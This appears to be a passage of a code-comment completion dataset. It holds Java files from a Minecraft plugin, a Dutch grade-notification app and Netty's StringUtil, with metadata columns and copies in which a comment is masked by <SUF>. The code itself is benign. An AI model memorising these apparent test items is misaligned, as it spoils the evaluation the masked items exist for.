for (Entity entity : event.getChunk().getEntities()) {
if (!(entity instanceof Item)) {
continue;
}
goodie = CivGlobal.getBonusGoodie(((Item)entity).getItemStack());
if (goodie == null) {
continue;
}
goodie.replenish(((Item)entity).getItemStack(), (Item)entity, null, null);
}
}
/*
* If the item combusts in lava or fire, replenish it at the outpost.
*/
@EventHandler(priority = EventPriority.MONITOR)
public void OnEntityCombustEvent(EntityCombustEvent event) {
if (!(event.getEntity() instanceof Item)) {
return;
}
BonusGoodie goodie = CivGlobal.getBonusGoodie(((Item)event.getEntity()).getItemStack());
if (goodie == null) {
return;
}
goodie.replenish(((Item)event.getEntity()).getItemStack(), (Item)event.getEntity(), null, null);
}
/*
* Track the location of the goodie.
*/
@EventHandler(priority = EventPriority.LOWEST)
public void OnInventoryClick(InventoryClickEvent event) {
BonusGoodie goodie;
ItemStack stack;
if (event.isShiftClick()) {
stack = event.getCurrentItem();
goodie = CivGlobal.getBonusGoodie(stack);
} else {
stack = event.getCursor();
goodie = CivGlobal.getBonusGoodie(stack);
}
if (goodie == null) {
return;
}
InventoryView view = event.getView();
int rawslot = event.getRawSlot();
boolean top = view.convertSlot(rawslot) == rawslot;
if (event.isShiftClick()) {
top = !top;
}
InventoryHolder holder;
if (top) {
holder = view.getTopInventory().getHolder();
} else {
holder = view.getBottomInventory().getHolder();
}
boolean isAllowedHolder = (holder instanceof Chest) || (holder instanceof DoubleChest) || (holder instanceof Player);
if ((holder == null) || !isAllowedHolder) {
event.setCancelled(true);
event.setResult(Event.Result.DENY);
Player player;
try {
player = CivGlobal.getPlayer(event.getWhoClicked().getName());
CivMessage.sendError(player, "Cannot move bonus goodie into this container.");
} catch (CivException e) {
//player not found or not online.
}
// if we are not doing a shift-click close it to hide client
// bug showing the item in the inventory even though its not
// there.
if (event.isShiftClick() == false) {
view.close();
}
return;
}
if (goodie.getHolder() != holder) {
try {
goodie.setHolder(holder);
goodie.update(false);
goodie.updateLore(stack);
} catch (CivException e) {
e.printStackTrace();
}
}
}
/*
* Track the location of the goodie if it spawns as an item.
*/
@EventHandler(priority = EventPriority.MONITOR)
public void OnItemSpawn(ItemSpawnEvent event) {
Item item = event.getEntity();
BonusGoodie goodie = CivGlobal.getBonusGoodie(item.getItemStack());
if (goodie == null) {
return;
}
// Cant validate<SUF>
goodie.setItem(item);
try {
goodie.update(false);
goodie.updateLore(item.getItemStack());
} catch (CivException e) {
e.printStackTrace();
}
}
/*
* Validate that the item dropped was a valid goodie
*/
@EventHandler(priority = EventPriority.MONITOR)
public void OnPlayerDropItemEvent(PlayerDropItemEvent event) {
BonusGoodie goodie = CivGlobal.getBonusGoodie(event.getItemDrop().getItemStack());
if (goodie == null) {
return;
}
// Verify that the player dropping this item is in fact our holder.
// goodie.validateItem(event.getItemDrop().getItemStack(), null, event.getPlayer(), null);
}
/*
* Track the location of the goodie if a player picks it up.
*/
@EventHandler(priority = EventPriority.MONITOR)
public void OnPlayerPickupItem(PlayerPickupItemEvent event) {
BonusGoodie goodie = CivGlobal.getBonusGoodie(event.getItem().getItemStack());
if (goodie == null) {
return;
}
try {
goodie.setHolder(event.getPlayer());
goodie.update(false);
goodie.updateLore(event.getItem().getItemStack());
} catch (CivException e) {
e.printStackTrace();
}
}
/*
* Track the location of the goodie if a player places it in an item frame.
*/
@EventHandler(priority = EventPriority.LOW)
public void OnPlayerInteractEntityEvent(PlayerInteractEntityEvent event) {
if (!(event.getRightClicked() instanceof ItemFrame)) {
return;
}
LoreMaterial material = LoreMaterial.getMaterial(event.getPlayer().getItemInHand());
if (material != null) {
if (material instanceof UnitItemMaterial ||
material instanceof UnitMaterial) {
//Do not allow subordinate items into the frame.
CivMessage.sendError(event.getPlayer(), "You cannot place this item into an itemframe.");
return;
}
}
BonusGoodie goodie = CivGlobal.getBonusGoodie(event.getPlayer().getItemInHand());
ItemFrame frame = (ItemFrame)event.getRightClicked();
ItemFrameStorage frameStore = CivGlobal.getProtectedItemFrame(frame.getUniqueId());
if (goodie == null) {
/* No goodie item, make sure they dont go into protected frames. */
if (frameStore != null) {
/* Make sure we're trying to place an item into the frame, test if the frame is empty. */
if (frame.getItem() == null || ItemManager.getId(frame.getItem()) == CivData.AIR) {
CivMessage.sendError(event.getPlayer(),
"You cannot place a non-trade goodie items in a trade goodie item frame.");
event.setCancelled(true);
return;
}
}
} else {
/* Trade goodie, make sure they only go into protect frames. */
if (frameStore == null) {
CivMessage.sendError(event.getPlayer(),
"You cannot place a trade gooide in a non-trade goodie item frame.");
event.setCancelled(true);
return;
}
}
if (frameStore != null) {
onPlayerProtectedFrameInteract(event.getPlayer(), frameStore, goodie, event);
event.setCancelled(true);
}
// BonusGoodie goodie = CivGlobal.getBonusGoodie(event.getPlayer().getItemInHand());
// ItemFrame frame = (ItemFrame)event.getRightClicked();
// if (frame.getItem() == null || frame.getItem().getType() == Material.AIR) {
//
// ItemFrameStorage frameStore = CivGlobal.getProtectedItemFrame(frame.getUniqueId());
//
//
// if (frameStore == null && goodie != null) {
// CivMessage.sendError(event.getPlayer(), "You cannot place a goodie in a non-protected item frame.");
// event.setCancelled(true);
// return;
// }
//
// if (frameStore == null) {
// /* non protected item frame, allow placement. */
// return;
// }
//
// if (goodie == null && event.getPlayer().getItemInHand().getTypeId() != CivData.AIR) {
// CivMessage.sendError(event.getPlayer(), "You cannot place non-trade goodie items in a trade goodie item frame.");
// event.setCancelled(true);
// return;
// }
//
// if (goodie == null) {
// event.setCancelled(true);
// return;
// }
//
// Resident resident = CivGlobal.getResident(event.getPlayer());
// if (resident == null || !resident.hasTown() || resident.getCiv() != frameStore.getTown().getCiv()) {
// CivMessage.sendError(event.getPlayer(), "You don't have permission to add trade goodies to this item frame.");
// event.setCancelled(true);
// return;
// }
//
// //CivGlobal.checkForEmptyDuplicateFrames(frameStore);
//
// event.setCancelled(true);
//
// /*
// * Move the item manually. Creative mode keeps a copy in your inv, we want both
// * survival and creative to use the same code, so just cancel the event and
// * do it ourselves.
// */
// ItemStack stack = event.getPlayer().getItemInHand();
// frameStore.setItem(stack);
//
// if (stack.getAmount() > 1) {
// stack.setAmount(stack.getAmount() - 1);
// } else {
// event.getPlayer().getInventory().remove(stack);
// }
//
// frameStore.getTown().onGoodiePlaceIntoFrame(frameStore, goodie);
//
// goodie.setFrame(frameStore);
// try {
// goodie.update(false);
// goodie.updateLore(stack);
// } catch (CivException e) {
// e.printStackTrace();
// }
//
// }
}
@EventHandler(priority = EventPriority.MONITOR)
public void OnPlayerJoinEvent(PlayerJoinEvent event) {
Inventory inv = event.getPlayer().getInventory();
for (ConfigTradeGood good : CivSettings.goods.values()) {
for (Entry<Integer, ? extends ItemStack> itemEntry : inv.all(ItemManager.getMaterial(good.material)).entrySet()) {
if (good.material_data != ItemManager.getData(itemEntry.getValue())) {
continue;
}
BonusGoodie goodie = CivGlobal.getBonusGoodie(itemEntry.getValue());
if (goodie != null) {
inv.remove(itemEntry.getValue());
}
}
}
}
public static void onPlayerProtectedFrameInteract(Player player, ItemFrameStorage clickedFrame,
BonusGoodie goodie, Cancellable event) {
Resident resident = CivGlobal.getResident(player);
if (resident == null || !resident.hasTown() || resident.getCiv() != clickedFrame.getTown().getCiv()) {
CivMessage.sendError(player,
"You must be a member of the owner civ to socket or unsocket trade goodies.");
event.setCancelled(true);
return;
}
if (!clickedFrame.getTown().getMayorGroup().hasMember(resident) &&
!clickedFrame.getTown().getAssistantGroup().hasMember(resident)) {
CivMessage.sendError(player,
"You must be a mayor or assistant in order to socket or unsocket trade goodies.");
event.setCancelled(true);
return;
}
ItemFrame frame = clickedFrame.getItemFrame();
ItemStack stack = frame.getItem();
//if goodie in frame, break it out
if (stack != null && ItemManager.getId(stack) != CivData.AIR) {
// FYI sometimes the item pops out from the player entity interact event...
BonusGoodie goodieInFrame = CivGlobal.getBonusGoodie(frame.getItem());
if (goodieInFrame != null) {
clickedFrame.getTown().onGoodieRemoveFromFrame(clickedFrame, goodieInFrame);
try {
goodieInFrame.setFrame(clickedFrame);
goodieInFrame.update(false);
} catch (CivException e) {
e.printStackTrace();
}
}
player.getWorld().dropItemNaturally(frame.getLocation(), stack);
frame.setItem(ItemManager.createItemStack(CivData.AIR, 1));
CivMessage.send(player, CivColor.LightGray+"You unsocket the trade goodie from the frame.");
} else if (goodie != null) {
//Item frame was empty, add goodie to it.
frame.setItem(player.getItemInHand());
player.getInventory().remove(player.getItemInHand());
CivMessage.send(player, CivColor.LightGray+"You socket the trade goodie into the frame");
clickedFrame.getTown().onGoodiePlaceIntoFrame(clickedFrame, goodie);
try {
goodie.setFrame(clickedFrame);
goodie.update(false);
} catch (CivException e) {
e.printStackTrace();
}
}
}
/*
* Prevent the player from using items that are actually trade goodies.
*/
@EventHandler(priority = EventPriority.LOW)
public void OnPlayerInteractEvent(PlayerInteractEvent event) {
ItemStack item = event.getPlayer().getItemInHand();
BonusGoodie goodie = CivGlobal.getBonusGoodie(item);
if (goodie == null) {
return;
}
if (event.getClickedBlock() == null) {
event.setCancelled(true);
return;
}
BlockCoord bcoord = new BlockCoord(event.getClickedBlock());
ItemFrameStorage clickedFrame = ItemFrameStorage.attachedBlockMap.get(bcoord);
if (clickedFrame != null) {
if (clickedFrame.getItemFrame() != null) {
if (clickedFrame.getItemFrame().getAttachedFace().getOppositeFace() ==
event.getBlockFace()) {
onPlayerProtectedFrameInteract(event.getPlayer(), clickedFrame, goodie, event);
event.setCancelled(true);
}
}
return;
}
if (event.getAction() == Action.RIGHT_CLICK_AIR || event.getAction() == Action.RIGHT_CLICK_BLOCK) {
CivMessage.sendError(event.getPlayer(), "Cannot use bonus goodie as a normal item.");
event.setCancelled(true);
return;
}
}
/*
* Prevent the player from using goodies in crafting recipies.
*/
@EventHandler(priority = EventPriority.HIGHEST)
public void OnCraftItemEvent(CraftItemEvent event) {
Player player;
try {
player = CivGlobal.getPlayer(event.getWhoClicked().getName());
} catch (CivException e) {
e.printStackTrace();
return;
}
for (ItemStack stack : event.getInventory().getMatrix()) {
BonusGoodie goodie = CivGlobal.getBonusGoodie(stack);
if (goodie != null) {
CivMessage.sendError(player, "Cannot use bonus goodies in a crafting recipe.");
event.setCancelled(true);
}
}
}
} |
1670_7 | // Mensen met meer verstand van java zijn zeer welkom, om de code te verbeteren.
package com.transistorsoft.cordova.backgroundfetch;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.IOException;
import java.net.Socket;
import org.json.*;
import org.json.JSONObject;
import org.json.JSONArray;
import java.lang.Object;
import android.content.SharedPreferences;
import com.transistorsoft.tsbackgroundfetch.BackgroundFetch;
import com.transistorsoft.tsbackgroundfetch.BGTask;
import android.util.Log;
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import androidx.core.app.NotificationCompat;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import android.app.PendingIntent;
import app.netlob.magiscore.R;
public class BackgroundFetchHeadlessTask implements HeadlessTask {
@Override
public void onFetch(Context context, BGTask task) {
String taskId = task.getTaskId();
boolean isTimeout = task.getTimedOut();
if (isTimeout) {
Log.d(BackgroundFetch.TAG, "My BackgroundFetchHeadlessTask TIMEOUT: " + taskId);
BackgroundFetch.getInstance(context).finish(taskId);
return;
}
Log.d(BackgroundFetch.TAG, "My BackgroundFetchHeadlessTask: onFetch: " + taskId);
// Perform your work here....
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
SharedPreferences SharedPrefs = context.getSharedPreferences("Gemairo", 0);
String Bearer = SharedPrefs.getString("Tokens", "");
String SchoolURL = SharedPrefs.getString("SchoolURL", "");
String PersonID = SharedPrefs.getString("PersonID", "");
String latestgrades = SharedPrefs.getString("latestGrades", "");
try {
if (latestgrades == "" || PersonID == "" || SchoolURL == "" || Bearer =="") return;
JSONObject Tokens = new JSONObject(Bearer);
final JSONObject latestGrades = new JSONObject(latestgrades);
String CompleteURL = "https://" + SchoolURL.replaceAll("\"", "") + "/api/personen/" + PersonID
+ "/cijfers/laatste?top=50&skip=0";
try {
// Refresh token
URL tokenurl = new URL("https://accounts.magister.net/connect/token");
StringBuffer tokencontent = new StringBuffer();
HttpURLConnection tokencon = (HttpURLConnection) tokenurl.openConnection();
tokencon.setRequestMethod("POST");
tokencon.setRequestProperty("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
// tokencon.setRequestProperty("Authorization", "Bearer " +
// Tokens.getString("access_token"));
tokencon.setRequestProperty("cache-control", "no-cache");
tokencon.setRequestProperty("x-requested-with", "app.netlob.magiscore");
tokencon.setDoOutput(true);
String body = "refresh_token="+Tokens.getString("refresh_token")+"&client_id=M6LOAPP&grant_type=refresh_token";
byte[] outputInBytes = body.getBytes("UTF-8");
OutputStream os = tokencon.getOutputStream();
os.write(outputInBytes);
os.close();
try (BufferedReader reader = new BufferedReader(
new InputStreamReader(tokencon.getInputStream()))) {
for (String line; (line = reader.readLine()) != null;) {
tokencontent.append(line);
}
}
String tokenresult = tokencontent.toString();
final JSONObject tokenjsonresult = new JSONObject(tokenresult);
//Oplaan van de laatste tokens
SharedPreferences.Editor editor = SharedPrefs.edit();
final JSONObject gemairotokens = new JSONObject();
gemairotokens.put("access_token", tokenjsonresult.getString("access_token"));
gemairotokens.put("id_token", tokenjsonresult.getString("id_token"));
gemairotokens.put("refresh_token", tokenjsonresult.getString("refresh_token"));
editor.putString("Tokens", gemairotokens.toString());
editor.apply();
// Ophalen van de cijfers
URL url = new URL(CompleteURL);
StringBuffer content = new StringBuffer();
HttpURLConnection con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("GET");
con.setRequestProperty("Content-Type", "application/json");
con.setRequestProperty("Authorization", "Bearer " + tokenjsonresult.getString("access_token"));
con.setRequestProperty("noCache", java.time.Clock.systemUTC().instant().toString());
con.setRequestProperty("x-requested-with", "app.netlob.magiscore");
try (BufferedReader reader = new BufferedReader(
new InputStreamReader(con.getInputStream()))) {
for (String line; (line = reader.readLine()) != null;) {
content.append(line);
}
}
String result = content.toString();
final JSONObject jsonresult = new JSONObject(result);
JSONArray latestGradesItems = (JSONArray) latestGrades.get("items");
Log.d(BackgroundFetch.TAG, latestGradesItems.length() + " - Are latestgrade object's the same? "
+ jsonresult.getString("items").equals(latestGrades.getString("items")));
if (latestGradesItems.length() != 0 && !jsonresult.getString("items").equals(latestGrades.getString("items"))) {
//Opslaan nieuwe cijfers
final JSONObject newlatestgrades = new JSONObject();
newlatestgrades.put("items", jsonresult.get("items"));
editor.putString("latestGrades", newlatestgrades.toString());
editor.apply();
// Als de twee objecten niet hetzelfde zijn stuurt hij een notificatie.
NotificationManager mNotificationManager;
NotificationCompat.Builder mBuilder = new NotificationCompat.Builder(context.getApplicationContext(),
"Gemairo");
Intent ii = new Intent(context.getPackageManager().getLaunchIntentForPackage("app.netlob.magiscore"));
PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, ii,
PendingIntent.FLAG_UPDATE_CURRENT);
NotificationCompat.BigTextStyle bigText = new NotificationCompat.BigTextStyle();
bigText.bigText("Nieuwe cijfer(s) beschikbaar");
bigText.setBigContentTitle("Nieuwe cijfers in Gemairo");
mBuilder.setContentIntent(pendingIntent);
mBuilder.setSmallIcon(R.drawable.notification);
mBuilder.setContentTitle("Nieuwe cijfers in Gemairo");
mBuilder.setContentText("Nieuwe cijfer(s) beschikbaar");
mBuilder.setPriority(Notification.PRIORITY_HIGH);
mBuilder.setStyle(bigText);
mBuilder.setAutoCancel(true);
mBuilder.setOnlyAlertOnce(true);
mNotificationManager = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
String channelId = "Gemairo-Cijfers";
NotificationChannel channel = new NotificationChannel(
channelId,
"Cijfers",
NotificationManager.IMPORTANCE_DEFAULT);
mNotificationManager.createNotificationChannel(channel);
mBuilder.setChannelId(channelId);
}
mNotificationManager.notify(0, mBuilder.build());
} else if (latestGradesItems.length() == 0) {
//Opslaan nieuwe cijfers
final JSONObject newlatestgrades = new JSONObject();
newlatestgrades.put("items", jsonresult.get("items"));
editor.putString("latestGrades", newlatestgrades.toString());
editor.apply();
}
BackgroundFetch.getInstance(context).finish(taskId);
} catch (Exception ex) {
ex.printStackTrace();
Log.d(BackgroundFetch.TAG, Log.getStackTraceString(ex));
BackgroundFetch.getInstance(context).finish(taskId);
}
} catch (JSONException e) {
e.printStackTrace();
Log.d(BackgroundFetch.TAG, Log.getStackTraceString(e));
BackgroundFetch.getInstance(context).finish(taskId);
}
}
});
thread.start();
BackgroundFetch.getInstance(context).finish(taskId);
}
} | netlob/magiscore | app/Magiscore/BackgroundFetchHeadlessTask.java | 2,469 | // Als de twee objecten niet hetzelfde zijn stuurt hij een notificatie. | line_comment | nl | // Mensen met meer verstand van java zijn zeer welkom, om de code te verbeteren.
package com.transistorsoft.cordova.backgroundfetch;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.IOException;
import java.net.Socket;
import org.json.*;
import org.json.JSONObject;
import org.json.JSONArray;
import java.lang.Object;
import android.content.SharedPreferences;
import com.transistorsoft.tsbackgroundfetch.BackgroundFetch;
import com.transistorsoft.tsbackgroundfetch.BGTask;
import android.util.Log;
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import androidx.core.app.NotificationCompat;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import android.app.PendingIntent;
import app.netlob.magiscore.R;
public class BackgroundFetchHeadlessTask implements HeadlessTask {
@Override
public void onFetch(Context context, BGTask task) {
String taskId = task.getTaskId();
boolean isTimeout = task.getTimedOut();
if (isTimeout) {
Log.d(BackgroundFetch.TAG, "My BackgroundFetchHeadlessTask TIMEOUT: " + taskId);
BackgroundFetch.getInstance(context).finish(taskId);
return;
}
Log.d(BackgroundFetch.TAG, "My BackgroundFetchHeadlessTask: onFetch: " + taskId);
// Perform your work here....
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
SharedPreferences SharedPrefs = context.getSharedPreferences("Gemairo", 0);
String Bearer = SharedPrefs.getString("Tokens", "");
String SchoolURL = SharedPrefs.getString("SchoolURL", "");
String PersonID = SharedPrefs.getString("PersonID", "");
String latestgrades = SharedPrefs.getString("latestGrades", "");
try {
if (latestgrades == "" || PersonID == "" || SchoolURL == "" || Bearer =="") return;
JSONObject Tokens = new JSONObject(Bearer);
final JSONObject latestGrades = new JSONObject(latestgrades);
String CompleteURL = "https://" + SchoolURL.replaceAll("\"", "") + "/api/personen/" + PersonID
+ "/cijfers/laatste?top=50&skip=0";
try {
// Refresh token
URL tokenurl = new URL("https://accounts.magister.net/connect/token");
StringBuffer tokencontent = new StringBuffer();
HttpURLConnection tokencon = (HttpURLConnection) tokenurl.openConnection();
tokencon.setRequestMethod("POST");
tokencon.setRequestProperty("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
// tokencon.setRequestProperty("Authorization", "Bearer " +
// Tokens.getString("access_token"));
tokencon.setRequestProperty("cache-control", "no-cache");
tokencon.setRequestProperty("x-requested-with", "app.netlob.magiscore");
tokencon.setDoOutput(true);
String body = "refresh_token="+Tokens.getString("refresh_token")+"&client_id=M6LOAPP&grant_type=refresh_token";
byte[] outputInBytes = body.getBytes("UTF-8");
OutputStream os = tokencon.getOutputStream();
os.write(outputInBytes);
os.close();
try (BufferedReader reader = new BufferedReader(
new InputStreamReader(tokencon.getInputStream()))) {
for (String line; (line = reader.readLine()) != null;) {
tokencontent.append(line);
}
}
String tokenresult = tokencontent.toString();
final JSONObject tokenjsonresult = new JSONObject(tokenresult);
//Oplaan van de laatste tokens
SharedPreferences.Editor editor = SharedPrefs.edit();
final JSONObject gemairotokens = new JSONObject();
gemairotokens.put("access_token", tokenjsonresult.getString("access_token"));
gemairotokens.put("id_token", tokenjsonresult.getString("id_token"));
gemairotokens.put("refresh_token", tokenjsonresult.getString("refresh_token"));
editor.putString("Tokens", gemairotokens.toString());
editor.apply();
// Ophalen van de cijfers
URL url = new URL(CompleteURL);
StringBuffer content = new StringBuffer();
HttpURLConnection con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("GET");
con.setRequestProperty("Content-Type", "application/json");
con.setRequestProperty("Authorization", "Bearer " + tokenjsonresult.getString("access_token"));
con.setRequestProperty("noCache", java.time.Clock.systemUTC().instant().toString());
con.setRequestProperty("x-requested-with", "app.netlob.magiscore");
try (BufferedReader reader = new BufferedReader(
new InputStreamReader(con.getInputStream()))) {
for (String line; (line = reader.readLine()) != null;) {
content.append(line);
}
}
String result = content.toString();
final JSONObject jsonresult = new JSONObject(result);
JSONArray latestGradesItems = (JSONArray) latestGrades.get("items");
Log.d(BackgroundFetch.TAG, latestGradesItems.length() + " - Are latestgrade object's the same? "
+ jsonresult.getString("items").equals(latestGrades.getString("items")));
if (latestGradesItems.length() != 0 && !jsonresult.getString("items").equals(latestGrades.getString("items"))) {
//Opslaan nieuwe cijfers
final JSONObject newlatestgrades = new JSONObject();
newlatestgrades.put("items", jsonresult.get("items"));
editor.putString("latestGrades", newlatestgrades.toString());
editor.apply();
// Als de<SUF>
NotificationManager mNotificationManager;
NotificationCompat.Builder mBuilder = new NotificationCompat.Builder(context.getApplicationContext(),
"Gemairo");
Intent ii = new Intent(context.getPackageManager().getLaunchIntentForPackage("app.netlob.magiscore"));
PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, ii,
PendingIntent.FLAG_UPDATE_CURRENT);
NotificationCompat.BigTextStyle bigText = new NotificationCompat.BigTextStyle();
bigText.bigText("Nieuwe cijfer(s) beschikbaar");
bigText.setBigContentTitle("Nieuwe cijfers in Gemairo");
mBuilder.setContentIntent(pendingIntent);
mBuilder.setSmallIcon(R.drawable.notification);
mBuilder.setContentTitle("Nieuwe cijfers in Gemairo");
mBuilder.setContentText("Nieuwe cijfer(s) beschikbaar");
mBuilder.setPriority(Notification.PRIORITY_HIGH);
mBuilder.setStyle(bigText);
mBuilder.setAutoCancel(true);
mBuilder.setOnlyAlertOnce(true);
mNotificationManager = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
String channelId = "Gemairo-Cijfers";
NotificationChannel channel = new NotificationChannel(
channelId,
"Cijfers",
NotificationManager.IMPORTANCE_DEFAULT);
mNotificationManager.createNotificationChannel(channel);
mBuilder.setChannelId(channelId);
}
mNotificationManager.notify(0, mBuilder.build());
} else if (latestGradesItems.length() == 0) {
//Opslaan nieuwe cijfers
final JSONObject newlatestgrades = new JSONObject();
newlatestgrades.put("items", jsonresult.get("items"));
editor.putString("latestGrades", newlatestgrades.toString());
editor.apply();
}
BackgroundFetch.getInstance(context).finish(taskId);
} catch (Exception ex) {
ex.printStackTrace();
Log.d(BackgroundFetch.TAG, Log.getStackTraceString(ex));
BackgroundFetch.getInstance(context).finish(taskId);
}
} catch (JSONException e) {
e.printStackTrace();
Log.d(BackgroundFetch.TAG, Log.getStackTraceString(e));
BackgroundFetch.getInstance(context).finish(taskId);
}
}
});
thread.start();
BackgroundFetch.getInstance(context).finish(taskId);
}
} |
18825_22 | /*
* Copyright 2012 The Netty Project
*
* The Netty Project licenses this file to you under the Apache License,
* version 2.0 (the "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at:
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations
* under the License.
*/
package io.netty.util.internal;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Iterator;
import java.util.List;
import static io.netty.util.internal.ObjectUtil.*;
/**
* String utility class.
*/
public final class StringUtil {
public static final String EMPTY_STRING = "";
public static final String NEWLINE = SystemPropertyUtil.get("line.separator", "\n");
public static final char DOUBLE_QUOTE = '\"';
public static final char COMMA = ',';
public static final char LINE_FEED = '\n';
public static final char CARRIAGE_RETURN = '\r';
public static final char TAB = '\t';
public static final char SPACE = 0x20;
private static final String[] BYTE2HEX_PAD = new String[256];
private static final String[] BYTE2HEX_NOPAD = new String[256];
private static final byte[] HEX2B;
/**
* 2 - Quote character at beginning and end.
* 5 - Extra allowance for anticipated escape characters that may be added.
*/
private static final int CSV_NUMBER_ESCAPE_CHARACTERS = 2 + 5;
private static final char PACKAGE_SEPARATOR_CHAR = '.';
static {
// Generate the lookup table that converts a byte into a 2-digit hexadecimal integer.
for (int i = 0; i < BYTE2HEX_PAD.length; i++) {
String str = Integer.toHexString(i);
BYTE2HEX_PAD[i] = i > 0xf ? str : ('0' + str);
BYTE2HEX_NOPAD[i] = str;
}
// Generate the lookup table that converts an hex char into its decimal value:
// the size of the table is such that the JVM is capable of save any bounds-check
// if a char type is used as an index.
HEX2B = new byte[Character.MAX_VALUE + 1];
Arrays.fill(HEX2B, (byte) -1);
HEX2B['0'] = 0;
HEX2B['1'] = 1;
HEX2B['2'] = 2;
HEX2B['3'] = 3;
HEX2B['4'] = 4;
HEX2B['5'] = 5;
HEX2B['6'] = 6;
HEX2B['7'] = 7;
HEX2B['8'] = 8;
HEX2B['9'] = 9;
HEX2B['A'] = 10;
HEX2B['B'] = 11;
HEX2B['C'] = 12;
HEX2B['D'] = 13;
HEX2B['E'] = 14;
HEX2B['F'] = 15;
HEX2B['a'] = 10;
HEX2B['b'] = 11;
HEX2B['c'] = 12;
HEX2B['d'] = 13;
HEX2B['e'] = 14;
HEX2B['f'] = 15;
}
private StringUtil() {
// Unused.
}
/**
* Get the item after one char delim if the delim is found (else null).
* This operation is a simplified and optimized
* version of {@link String#split(String, int)}.
*/
public static String substringAfter(String value, char delim) {
int pos = value.indexOf(delim);
if (pos >= 0) {
return value.substring(pos + 1);
}
return null;
}
/**
* Get the item before one char delim if the delim is found (else null).
* This operation is a simplified and optimized
* version of {@link String#split(String, int)}.
*/
public static String substringBefore(String value, char delim) {
int pos = value.indexOf(delim);
if (pos >= 0) {
return value.substring(0, pos);
}
return null;
}
/**
* Checks if two strings have the same suffix of specified length
*
* @param s string
* @param p string
* @param len length of the common suffix
* @return true if both s and p are not null and both have the same suffix. Otherwise - false
*/
public static boolean commonSuffixOfLength(String s, String p, int len) {
return s != null && p != null && len >= 0 && s.regionMatches(s.length() - len, p, p.length() - len, len);
}
/**
* Converts the specified byte value into a 2-digit hexadecimal integer.
*/
public static String byteToHexStringPadded(int value) {
return BYTE2HEX_PAD[value & 0xff];
}
/**
* Converts the specified byte value into a 2-digit hexadecimal integer and appends it to the specified buffer.
*/
public static <T extends Appendable> T byteToHexStringPadded(T buf, int value) {
try {
buf.append(byteToHexStringPadded(value));
} catch (IOException e) {
PlatformDependent.throwException(e);
}
return buf;
}
/**
* Converts the specified byte array into a hexadecimal value.
*/
public static String toHexStringPadded(byte[] src) {
return toHexStringPadded(src, 0, src.length);
}
/**
* Converts the specified byte array into a hexadecimal value.
*/
public static String toHexStringPadded(byte[] src, int offset, int length) {
return toHexStringPadded(new StringBuilder(length << 1), src, offset, length).toString();
}
/**
* Converts the specified byte array into a hexadecimal value and appends it to the specified buffer.
*/
public static <T extends Appendable> T toHexStringPadded(T dst, byte[] src) {
return toHexStringPadded(dst, src, 0, src.length);
}
/**
* Converts the specified byte array into a hexadecimal value and appends it to the specified buffer.
*/
public static <T extends Appendable> T toHexStringPadded(T dst, byte[] src, int offset, int length) {
final int end = offset + length;
for (int i = offset; i < end; i++) {
byteToHexStringPadded(dst, src[i]);
}
return dst;
}
/**
* Converts the specified byte value into a hexadecimal integer.
*/
public static String byteToHexString(int value) {
return BYTE2HEX_NOPAD[value & 0xff];
}
/**
* Converts the specified byte value into a hexadecimal integer and appends it to the specified buffer.
*/
public static <T extends Appendable> T byteToHexString(T buf, int value) {
try {
buf.append(byteToHexString(value));
} catch (IOException e) {
PlatformDependent.throwException(e);
}
return buf;
}
/**
* Converts the specified byte array into a hexadecimal value.
*/
public static String toHexString(byte[] src) {
return toHexString(src, 0, src.length);
}
/**
* Converts the specified byte array into a hexadecimal value.
*/
public static String toHexString(byte[] src, int offset, int length) {
return toHexString(new StringBuilder(length << 1), src, offset, length).toString();
}
/**
* Converts the specified byte array into a hexadecimal value and appends it to the specified buffer.
*/
public static <T extends Appendable> T toHexString(T dst, byte[] src) {
return toHexString(dst, src, 0, src.length);
}
/**
* Converts the specified byte array into a hexadecimal value and appends it to the specified buffer.
*/
public static <T extends Appendable> T toHexString(T dst, byte[] src, int offset, int length) {
assert length >= 0;
if (length == 0) {
return dst;
}
final int end = offset + length;
final int endMinusOne = end - 1;
int i;
// Skip preceding zeroes.
for (i = offset; i < endMinusOne; i++) {
if (src[i] != 0) {
break;
}
}
byteToHexString(dst, src[i++]);
int remaining = end - i;
toHexStringPadded(dst, src, i, remaining);
return dst;
}
/**
* Helper to decode half of a hexadecimal number from a string.
* @param c The ASCII character of the hexadecimal number to decode.
* Must be in the range {@code [0-9a-fA-F]}.
* @return The hexadecimal value represented in the ASCII character
* given, or {@code -1} if the character is invalid.
*/
public static int decodeHexNibble(final char c) {
// Character.digit() is not used here, as it addresses a larger
// set of characters (both ASCII and full-width latin letters).
return HEX2B[c];
}
/**
* Helper to decode half of a hexadecimal number from a string.
* @param b The ASCII character of the hexadecimal number to decode.
* Must be in the range {@code [0-9a-fA-F]}.
* @return The hexadecimal value represented in the ASCII character
* given, or {@code -1} if the character is invalid.
*/
